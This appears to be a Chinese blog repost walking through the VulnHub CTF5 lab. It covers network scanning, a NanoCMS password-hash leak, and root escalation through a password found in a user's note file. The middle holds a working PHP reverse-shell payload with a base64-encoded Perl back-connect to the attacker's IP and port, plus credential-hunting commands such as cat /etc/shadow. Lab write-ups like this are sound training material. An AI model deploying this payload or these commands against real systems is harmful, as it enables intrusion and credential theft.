【精选】vulnhub CTF5 NanoCMS漏洞 (青铜门笔记)

发布时间:2023年12月23日

一、信息收集

1.主机探测

发现靶机的IP地址是192.168.103.131

┌──(root💀kali)-[~/桌面]
└─# arp-scan -l

2.端口扫描

发现开启了:22,25,80,110,111,139,143,445,901,3306端口

┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A 192.168.103.131 

3.漏洞扫描

可以扫描到很多的漏洞,80端口开放了很多的web页面,还有sql注入漏洞,以及Dos攻击漏洞等,这里80的漏洞信息是最全的,所以最先去看看web页面

┌──(root💀kali)-[~]
└─# nmap --script=vuln -p22,25,80,110,111,139,143,445,901,3306 192.168.103.131 

4.web页面

尝试了好几个扫描出来的漏洞web页面,后来发现了这个NanoCMS框架,这个靶场没猜错的话应该有个CMS框架漏洞

这里发现了一个管理员admin的登录界面,尝试利用弱口令,发现登录失败

二、漏洞利用

1.NanoCMS漏洞

利用searchsploit 和 msf 都没有找到,可能是这个漏洞比较新 ,漏洞库里面都没有

那我们直接上网找nanocms exploit:

看到NanoCMS '/data/pagesdata.txt',感觉跟密码有关

这里讲的是/data/pagesdata.txt文件里面有密码的哈希泄露

http://192.168.103.131/~andy/data/pagesdata.txt

可以看到账号密码,密码用hash加密了

┌──(root💀kali)-[~/桌面]
└─# hash-identifier "9d2f75377ac0ab991d40c91fd27e52fd" 

经过MD5解码之后,密码是:shannon

2.NanoCMS代码执行

找到这个可以执行远程代码的位置

kali监听的反弹shell

GIF89a
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.103.129";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

先kali开启监听

然后再访问这个url

http://192.168.103.131/~andy/index.php?page=home


发现kali上面监听成功

python -c 'import pty; pty.spawn ("/bin/bash")'  ##交互式shell

三、提权

1.脏牛提权

查看内核版本

内核版本很低,可以用脏牛提权,但是没有gcc编译功能,也是以失败告终

uname -a

说明拿到的账户,是一个低权限的账户

sudo -l
cat /etc/shadow

2.找root密码

grep -R -i pass /home/* 2>/dev/null
grep: 是一个用于在文件中搜索指定模式的命令
 -R: 表示递归搜索,将在指定目录及其子目录下搜索文件
 -i: 表示忽略大小写,在搜索时不区分大小写
  pass: 是要搜索的字符串模式
 /home/*: 搜索的目录路径,/home/表示在/home/目录下搜索,*表示搜索所有子目录和文件
 2>/dev/null: 将标准错误输出重定向到/dev/null设备,这样错误信息将被丢弃而不会显示在终端上

/home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note文件

这里有一个50$cent,这个很特殊,说不定就是那个root的password呢

发现成功了,成功提权到root

文章来源:https://blog.csdn.net/SENMINGya/article/details/135172276
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。